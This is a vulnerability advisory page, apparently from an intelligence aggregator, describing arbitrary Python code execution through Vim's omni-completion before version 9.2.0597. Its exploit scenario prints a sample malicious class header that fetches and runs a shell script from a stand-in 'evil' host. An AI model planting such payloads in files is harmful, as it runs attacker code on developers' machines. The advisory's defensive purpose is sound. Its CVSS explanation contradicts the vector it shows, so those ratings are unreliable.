EUVD-2026-36285Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Exploitation requires the victim to open a local malicious file and actively invoke omni-completion, so AV:L and UI:R; no auth needed (PR:N) and full code execution gives C/I/A:H.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Vim is an open source, command line text editor. Prior to version 9.2.0597, Vim's Python omni-completion executes reconstructed function and class definitions from the current buffer with exec() as part of populating the completion dictionary. Python evaluates function default values, parameter annotations, and class base expressions at definition time, so a hostile buffer can execute attacker-controlled Python expressions during omni-completion. The existing g:pythoncomplete_allow_import mitigation (GHSA-52mc-rq6p-rc7c) does not cover this path, because the attacker-controlled code is not a harvested import/from statement. This issue has been patched in version 9.2.0597.
Articles & Coverage 1
AnalysisAI
Arbitrary Python code execution in Vim prior to 9.2.0597 occurs when a user triggers Python omni-completion (<C-x><C-o>) on a buffer containing crafted def or class headers, because the pythoncomplete autoload reconstructs definitions and runs them through exec(), which evaluates default values, annotations, and base-class expressions at definition time. The earlier g:pythoncomplete_allow_import mitigation (GHSA-52mc-rq6p-rc7c) does not cover this sink. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Victim must open an attacker-controlled buffer in Vim (any version before 9.2.0597) with Python support compiled in, edit a Python-filetype file, and explicitly trigger omni-completion via `<C-x><C-o>` or `:call pythoncomplete#Complete()` / `python3complete#Complete()`; the malicious payload must be placed inside a `def` parameter default value, a parameter annotation, or a class base-class expression so that `exec()` evaluates it at definition time. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector AV:N/AC:L/AT:P/PR:N/UI:A scores 7.5 and correctly reflects the social-engineering nature: a user must open a hostile file and actively invoke Python omni-completion, so this is not wormable or driveby. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker publishes a Python file (for example in a repository, gist, or email attachment) whose source contains a benign-looking class or function header such as `class Foo(__import__('os').system('curl evil|sh')):` or `def bar(x=__import__('os').system('id')):`. When a developer opens the file in Vim and invokes Python omni-completion with `<C-x><C-o>`, the pythoncomplete script reconstructs and `exec()`s the header, evaluating the attacker's expression and running arbitrary code with the user's privileges. |
| Remediation | Vendor-released patch: Vim 9.2.0597 - upgrade to this version or later (commit c8c63673bc4253212820626aeeb75999d9a539d2), which strips default values and annotations from parameters and whitelists base-class expressions to pure dotted names before calling `exec()`; see https://github.com/vim/vim/releases/tag/v9.2.0597 and the advisory at https://github.com/vim/vim/security/advisories/GHSA-65p9-mwwx-7468. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Audit Vim installations and Python omni-completion usage across development teams. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Unauthenticated remote attackers can invoke MCP tool handlers and exfiltrate the operator's long-lived Meta Graph API ac
Authenticated remote code execution in ChromaDB Python project versions 0.4.17 and later enables attackers holding the U
Authentication bypass in dhax/go-base Go REST API boilerplate (versions prior to commit cc82b974, merged May 17, 2026) a
Remote code execution in AWS AgentCore CLI before v0.14.2 allows authenticated attackers to inject Python code via craft
Remote code execution in Splunk Enterprise, Splunk Cloud Platform, and the Splunk Secure Gateway app allows a low-privil
Share
External POC / Exploit Code
Leaving vuln.today